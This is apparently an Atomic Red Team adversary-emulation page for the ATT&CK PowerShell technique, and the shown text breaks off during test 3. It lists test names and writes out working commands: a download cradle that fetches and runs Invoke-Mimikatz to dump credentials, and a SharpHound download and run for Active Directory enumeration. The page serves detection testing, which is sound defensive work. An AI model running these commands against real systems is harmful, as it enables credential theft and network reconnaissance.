# T1059.001 - Command and Scripting Interpreter: PowerShell

## Description from ATT&CK

> Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.(Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the <code>Start-Process</code> cmdlet which can be used to run an executable and the <code>Invoke-Command</code> cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
> 
> PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.
> 
> A number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363),  [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack)
> 
> PowerShell commands/scripts can also be executed without directly invoking the <code>powershell.exe</code> binary through interfaces to PowerShell's underlying <code>System.Management.Automation</code> assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)

[Source](https://attack.mitre.org/techniques/T1059/001)

## Atomic Tests

- [Atomic Test #1: Mimikatz](#atomic-test-1-mimikatz)
- [Atomic Test #2: Run BloodHound from local disk](#atomic-test-2-run-bloodhound-from-local-disk)
- [Atomic Test #3: Run Bloodhound from Memory using Download Cradle](#atomic-test-3-run-bloodhound-from-memory-using-download-cradle)
- [Atomic Test #4: Mimikatz - Cradlecraft PsSendKeys](#atomic-test-4-mimikatz---cradlecraft-pssendkeys)
- [Atomic Test #5: Invoke-AppPathBypass](#atomic-test-5-invoke-apppathbypass)
- [Atomic Test #6: Powershell MsXml COM object - with prompt](#atomic-test-6-powershell-msxml-com-object---with-prompt)
- [Atomic Test #7: Powershell XML requests](#atomic-test-7-powershell-xml-requests)
- [Atomic Test #8: Powershell invoke mshta.exe download](#atomic-test-8-powershell-invoke-mshtaexe-download)
- [Atomic Test #9: Powershell Invoke-DownloadCradle](#atomic-test-9-powershell-invoke-downloadcradle)
- [Atomic Test #10: PowerShell Fileless Script Execution](#atomic-test-10-powershell-fileless-script-execution)
- [Atomic Test #11: NTFS Alternate Data Stream Access](#atomic-test-11-ntfs-alternate-data-stream-access)
- [Atomic Test #12: PowerShell Session Creation and Use](#atomic-test-12-powershell-session-creation-and-use)
- [Atomic Test #13: ATHPowerShellCommandLineParameter -Command parameter variations](#atomic-test-13-athpowershellcommandlineparameter--command-parameter-variations)
- [Atomic Test #14: ATHPowerShellCommandLineParameter -Command parameter variations with encoded arguments](#atomic-test-14-athpowershellcommandlineparameter--command-parameter-variations-with-encoded-arguments)
- [Atomic Test #15: ATHPowerShellCommandLineParameter -EncodedCommand parameter variations](#atomic-test-15-athpowershellcommandlineparameter--encodedcommand-parameter-variations)
- [Atomic Test #16: ATHPowerShellCommandLineParameter -EncodedCommand parameter variations with encoded arguments](#atomic-test-16-athpowershellcommandlineparameter--encodedcommand-parameter-variations-with-encoded-arguments)
- [Atomic Test #17: PowerShell Command Execution](#atomic-test-17-powershell-command-execution)
- [Atomic Test #18: PowerShell Invoke Known Malicious Cmdlets](#atomic-test-18-powershell-invoke-known-malicious-cmdlets)
- [Atomic Test #19: PowerUp Invoke-AllChecks](#atomic-test-19-powerup-invoke-allchecks)
- [Atomic Test #20: Abuse Nslookup with DNS Records](#atomic-test-20-abuse-nslookup-with-dns-records)
- [Atomic Test #21: SOAPHound - Dump BloodHound Data](#atomic-test-21-soaphound---dump-bloodhound-data)
- [Atomic Test #22: SOAPHound - Build Cache](#atomic-test-22-soaphound---build-cache)

### Atomic Test #1: Mimikatz

Download Mimikatz and dump credentials. Upon execution, mimikatz dump details and password hashes will be displayed.

**Supported Platforms:** Windows

**auto_generated_guid:** `f3132740-55bc-48c4-bcc0-758a459cd027`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| mimurl | Mimikatz url | url | https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1|

#### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```cmd
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"
```

### Atomic Test #2: Run BloodHound from local disk

Upon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur.

Successful execution will produce stdout message stating "SharpHound Enumeration Completed". Upon completion, final output will be a *BloodHound.zip file.

**Supported Platforms:** Windows

**auto_generated_guid:** `a21bb23e-e677-4ee7-af90-6931b57b6350`

#### Attack Commands: Run with `powershell`!

```powershell
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
```

#### Cleanup Commands

```powershell
Remove-Item $env:Temp\*BloodHound.zip -Force
```

#### Dependencies: Run with `powershell`!

##### Description: SharpHound.ps1 must be located at "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"

###### Check Prereq Commands

```powershell
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1") {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
```

### Atomic Test #3: Run Bloodhound from Memory using Download Cradle

Upon execution SharpHound will load into memory and execute against a domain. It will set up collection methods, run and then compress and store the data to the temp directory. If system is unable to contact a domain, proper execution will not occur.

Successful execution will produce stdout message stating "SharpHound Enumeration Completed". Upon completion, final output will be a